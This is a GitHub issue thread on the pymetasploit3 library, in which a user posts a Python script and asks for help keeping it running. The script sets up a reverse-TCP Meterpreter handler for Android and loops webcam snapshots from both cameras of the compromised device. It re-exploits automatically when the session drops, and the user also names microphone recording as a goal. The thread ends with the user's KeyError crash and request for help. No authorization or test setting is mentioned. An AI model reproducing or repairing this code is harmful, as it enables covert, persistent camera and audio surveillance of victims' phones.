pymetasploit3
pymetasploit3 copied to clipboard
loop for meterpreter's commands
When session died automatically rexploit
and write loop for commands ex: record_mic -d 15
This is a good idea I'll think about adding this in later.
I wrote a loop but something causing failed :
#!/usr/bin/env python3
from pymetasploit3.msfrpc import MsfRpcClient
from time import sleep
import sys
client = MsfRpcClient('1234', port=55553)
exploit = client.modules.use('exploit', 'multi/handler')
payload = client.modules.use('payload', 'android/meterpreter/reverse_tcp')
payload['LPORT'] = 4444
payload['LHOST'] = '192.168.1.44'
exploit.execute(payload=payload)
exploit['VERBOSE'] = True
list = []
for s in client.sessions.list.keys():
list.append(s)
# print (client.sessions.list.keys())
def Exploit():
if not list :
exploit.execute(payload=payload)
Exploit()
def act():
while True:
x = 0
while(x<5):
client.sessions.session(list[-1]).run_with_output('webcam_snap -v false -i 2\n')
sleep(10)
client.sessions.session(list[-1]).run_with_output('webcam_snap -v false -i 1\n')
sleep(10)
client.sessions.session(list[-1]).read()
sleep(5)
x=x+1
print (x)
sys.stdout.flush()
if KeyError:
Exploit()
sleep(10)
continue
act()
Error:
File "/home/linux/.local/lib/python3.6/site-packages/pymetasploit3/msfrpc.py", line 1973, in session
│ raise KeyError('Session ID (%s) does not exist' % sid)
│KeyError: 'Session ID (41) does not exist'
when session died it crashed ,How can I solved this problem? Thank you @DanMcInerney